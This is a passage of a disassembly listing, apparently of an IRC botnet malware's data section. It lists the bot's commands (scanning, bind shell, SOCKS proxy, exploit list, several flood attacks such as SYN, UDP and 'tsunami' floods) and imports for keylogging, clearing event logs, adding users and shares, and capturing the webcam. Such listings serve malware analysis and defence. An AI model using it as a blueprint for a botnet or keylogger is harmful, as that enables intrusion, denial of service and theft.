		align 4
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF0o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 10h
dword_42C370	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 10h
dword_42C390	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3B4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C404	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C480	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C490	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B0	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4CC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4D8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4E4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C4FC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C508	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 10h
dword_42C520	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C530	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C54C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C55C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C578	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C584	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C598	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5A4	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B0	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5CC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5EC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C60C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C628	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C644	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C66C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C1Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C718:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C75C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42C7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_42C820	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42C8A0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8B8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8DC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8E8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C928	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C930	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C944	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C968	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA28:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA2C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA30	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_42D330	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
